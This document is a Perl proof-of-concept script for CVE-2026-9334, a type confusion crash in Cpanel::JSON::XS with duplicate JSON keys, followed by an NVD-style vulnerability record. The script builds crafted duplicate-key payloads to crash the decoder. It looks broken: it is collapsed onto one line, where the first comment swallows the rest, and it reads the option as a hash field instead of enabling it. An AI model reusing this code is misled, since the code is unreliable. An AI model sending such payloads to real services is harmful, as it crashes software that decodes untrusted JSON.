CVE-2026-9334

#!/usr/bin/env perl use strict; use warnings; use Cpanel::JSON::XS qw(decode_json); # PoC for CVE-2026-9334 # Type Confusion in Cpanel::JSON::XS < 4.41 with dupkeys_as_arrayref enabled # Enable dupkeys_as_arrayref to trigger the vulnerable code path my $json_text = '{"key":"value1","key":"value2"}'; # Create JSON decoder with dupkeys_as_arrayref enabled my $codec = Cpanel::JSON::XS->new->utf8->allow_nonref->{dupkeys_as_arrayref}; # This will trigger the type confusion vulnerability # old_value is a plain scalar, not a reference # SvRV(old_value) dereferences it as if it were a reference eval { my $decoded = $codec->decode($json_text); print "Decoded: " . $decoded->{key} . "\n"; }; if ($@) { print "Vulnerability triggered! Error: $@\n"; } # Alternative PoC with more duplicate keys to increase crash probability my $malicious_json = '{"a":"' . 'A' x 100 . '","a":"' . 'B' x 100 . '","a":"' . 'C' x 100 . '"}'; print "\nTrying with malicious JSON payload...\n"; eval { my $result = $codec->decode($malicious_json); }; print "Result: $@\n" if $@;

{"cve": {"id": "CVE-2026-9334", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-03T01:16:23.287", "lastModified": "2026-06-05T17:36:29.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cpanel::JSON::XS versions before 4.41 for Perl allow type confusion via duplicate object keys when dupkeys_as_arrayref is enabled.\n\ndecode_hv() collapses duplicate object keys into an array reference under dupkeys_as_arrayref. The branch reached for a duplicate key tests `SvTYPE (old_value) != SVt_RV && SvTYPE (SvRV (old_value)) != SVt_PVAV`, which evaluates SvRV(old_value) before establishing that old_value is a reference. When the existing value is a plain scalar rather than an array reference, a non-reference scalar is dereferenced as a reference.\n\nA caller decoding untrusted JSON with dupkeys_as_arrayref enabled is crashed, and the incompatible access follows a pointer taken from attacker controlled scalar contents."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rurban:cpanel\\:\\:json\\:\\:xs:*:*:*:*:*:perl:*:*", "versionEndExcluding": "4.41", "matchCriteriaId": "41C09D6F-C2F2-42BF-9734-B6F7D9E02777"}]}]}], "references": [{"url": "https://github.com/rurban/Cpanel-JSON-XS/commit/11a7c550a0d8fac2f84414f24d5df9b2bfe346e2.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "https://metacpan.org/release/RURBAN/Cpanel-JSON-XS-4.41/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/06/03/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory", "Patch"]}]}}